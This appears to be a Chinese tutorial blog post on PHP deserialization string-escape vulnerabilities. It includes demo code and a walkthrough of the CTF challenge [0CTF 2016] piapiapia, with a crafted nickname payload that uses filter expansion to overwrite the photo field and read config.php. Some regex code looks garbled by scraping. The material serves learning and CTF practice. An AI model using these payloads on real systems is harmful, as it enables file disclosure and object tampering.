php反序列化漏洞 (2)

运行长度为25,一个bb换成ccc,就逃逸1个字符,也就是说需要25个bb才能将后面的字符串给挤出来

<?php // $lmg = '";s:4:"pass";s:6:"hack";}'; // echo strlen($lmg)."\n"; // $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; // echo strlen($lmg3); $lmg2 = "bb"; echo str_repeat($lmg2, 25); ?>

将name变量参数变为25个bb+";s:4:"pass";s:6:"hack";}
测试代码:

<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}'; public $pass='123456'; } $AA=new A(); // echo serialize($AA)."\n"; print_r($AA); $res=filter(serialize($AA)); echo $res."\n"; $c=unserialize($res); print_r($c); // echo $c->pass."\n"; ?>

运行结果:构造完的字符串,反序列化后发现密码被改为了hack,而我们并未直接修改pass的参数,从而实现字符串的逃逸

php反序列化漏洞

一个ctf例题([0CTF 2016]piapiapia)

地址:
打开题目扫描一下发现w文件下载,因为本文主要交php反序化就不绕了
发现config.php中又flag,所以要读取文件,在profile.php中发现读取文件的代码

else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));

如果能让photo为config.php,而这数值来自$profile的反序列化,查看$profile

public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }

发现有过滤

public function filter($string) { $escape = array('\'', '\\\\'); $escape = 'http://www.likecs.com/' . implode('|', $escape) . 'http://www.likecs.com/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = 'http://www.likecs.com/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

要进行字符串的逃逸应该先考虑用nickname来构造字符串逃逸photo应为nickname在其前面
然后发现nickname有正则过滤,考虑用数组来进行绕过

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');

数组绕过后就考虑进行逃逸将photo挤出去
所以我们需要构造nickname的参数值为";}s:5:"photo";s:10:"config.php";}
这里为什么要在前面加一个}呢???,因为为了绕过nickname的正则匹配我们将其构造成了数组,数组在反序列化要进行闭合,可以尝试一下
构造代码

<?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut'); } $AA=new A(); echo serialize($AA)."\n"; // $res=filter(serialize($AA)); // $c=unserialize($res); // echo $c->pass; ?>

运行结果发现数组位置进行了闭合

php反序列化漏洞


这就是为啥上面要先进行}在逃逸
构造我们想要的内容后要进行逃逸,我们发现过滤的时候将where改成了hacker,进行了字符串拓展增建了一个字符串,我们构造的字符串长度为34所以我们要构造34个where进行逃逸

php反序列化漏洞


然后查看profile.php的图片,base64解码就获得了config.php中的flag

php反序列化漏洞

反序列化字符串逃逸(替换后导致字符串变短)

字符串变短的逃逸类似于变长,都是利用了替换字符串导致的可输入变量的改变,从而可以闭合
测试代码:

<?php function str_rep($string){ return preg_replace( '/php|test/','', $string); } $test['name'] = $_GET['name']; $test['sign'] = $_GET['sign']; $test['number'] = '2020'; $temp = str_rep(serialize($test)); printf($temp); $fake = unserialize($temp); echo '<br>'; print("name:".$fake['name'].'<br>'); print("sign:".$fake['sign'].'<br>'); print("number:".$fake['number'].'<br>'); ?>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpsgff.html